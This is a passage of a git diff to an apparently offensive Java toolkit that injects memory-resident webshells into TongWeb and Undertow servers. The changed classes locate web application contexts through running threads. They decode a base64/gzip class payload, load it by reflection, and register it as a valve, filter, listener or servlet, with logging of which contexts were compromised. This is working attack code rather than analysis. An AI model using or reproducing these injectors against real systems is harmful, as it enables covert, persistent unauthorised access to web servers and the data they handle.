|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -44,9 +81,16 @@ public class TongWebValveInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -64,23 +108,28 @@ public class TongWebValveInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void inject(Object context, Object valve) throws Exception {
|
public void inject(Object context, Object valve) throws Exception {
|
||||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||||
if (isInjected(pipeline)) {
|
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||||
System.out.println("valve already injected");
|
List<Object> valvesList = Arrays.asList(valves);
|
||||||
return;
|
for (Object v : valvesList) {
|
||||||
|
if (v.getClass().getName().contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Class valveClass = null;
|
Class valveClass = null;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
@@ -97,22 +146,13 @@ public class TongWebValveInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
System.out.println("valve injected successfully");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@Override
|
||||||
public boolean isInjected(Object pipeline) throws Exception {
|
public String toString() {
|
||||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
return msg;
|
||||||
List<Object> valvesList = Arrays.asList(valves);
|
|
||||||
for (Object valve : valvesList) {
|
|
||||||
if (valve.getClass().getName().contains(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
Class<?> decoderClass;
|
Class<?> decoderClass;
|
||||||
@@ -159,7 +199,7 @@ public class TongWebValveInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -187,4 +227,20 @@ public class TongWebValveInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+76
-19
@@ -4,6 +4,7 @@ import javax.servlet.DispatcherType;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@@ -14,17 +15,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class UndertowFilterInjector {
|
public class UndertowFilterInjector {
|
||||||
public UndertowFilterInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object filter = getShell(context);
|
|
||||||
inject(context, filter);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -38,8 +30,53 @@ public class UndertowFilterInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() {
|
public UndertowFilterInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
@@ -67,20 +104,21 @@ public class UndertowFilterInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
if (isInjected(context)) {
|
if (isInjected(context)) {
|
||||||
System.out.println("filter already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo");
|
Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo");
|
||||||
@@ -91,7 +129,6 @@ public class UndertowFilterInjector {
|
|||||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||||
System.out.println("filter inject success");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
@@ -110,6 +147,11 @@ public class UndertowFilterInjector {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
Class<?> decoderClass;
|
Class<?> decoderClass;
|
||||||
@@ -154,7 +196,7 @@ public class UndertowFilterInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -196,4 +238,19 @@ public class UndertowFilterInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+85
-35
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.undertow;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -17,17 +19,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class UndertowListenerInjector {
|
public class UndertowListenerInjector {
|
||||||
|
|
||||||
public UndertowListenerInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object listener = getShell(context);
|
|
||||||
inject(context, listener);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -37,8 +30,53 @@ public class UndertowListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
public UndertowListenerInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
@@ -65,21 +103,30 @@ public class UndertowListenerInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object listener) throws Exception {
|
public void inject(Object context, Object listener) throws Exception {
|
||||||
if (isInjected(context)) {
|
List<?> allListeners = (List<?>) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners");
|
||||||
System.out.println("listener already injected");
|
if (allListeners != null) {
|
||||||
return;
|
for (Object allListener : allListeners) {
|
||||||
|
Class<?> l = (Class<?>) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass");
|
||||||
|
if (l != null) {
|
||||||
|
if (l.getName().contains(getClassName())) {
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Class<?> listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo");
|
Class<?> listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo");
|
||||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||||
@@ -88,25 +135,13 @@ public class UndertowListenerInjector {
|
|||||||
Class<?> managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener");
|
Class<?> managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener");
|
||||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||||
System.out.println("listener inject success");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean isInjected(Object context) throws Exception {
|
@Override
|
||||||
List<?> allListeners = (List<?>) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners");
|
public String toString() {
|
||||||
if (allListeners != null) {
|
return msg;
|
||||||
for (Object allListener : allListeners) {
|
|
||||||
Class<?> listener = (Class<?>) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass");
|
|
||||||
if (listener != null) {
|
|
||||||
if (listener.getName().contains(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
Class<?> decoderClass;
|
Class<?> decoderClass;
|
||||||
@@ -152,7 +187,7 @@ public class UndertowListenerInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -181,4 +216,19 @@ public class UndertowListenerInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -40,7 +40,6 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -61,6 +60,7 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+77
-19
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.undertow;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -17,17 +19,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class UndertowServletInjector {
|
public class UndertowServletInjector {
|
||||||
|
|
||||||
public UndertowServletInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object servlet = getShell(context);
|
|
||||||
inject(context, servlet);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -41,8 +34,53 @@ public class UndertowServletInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
public UndertowServletInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
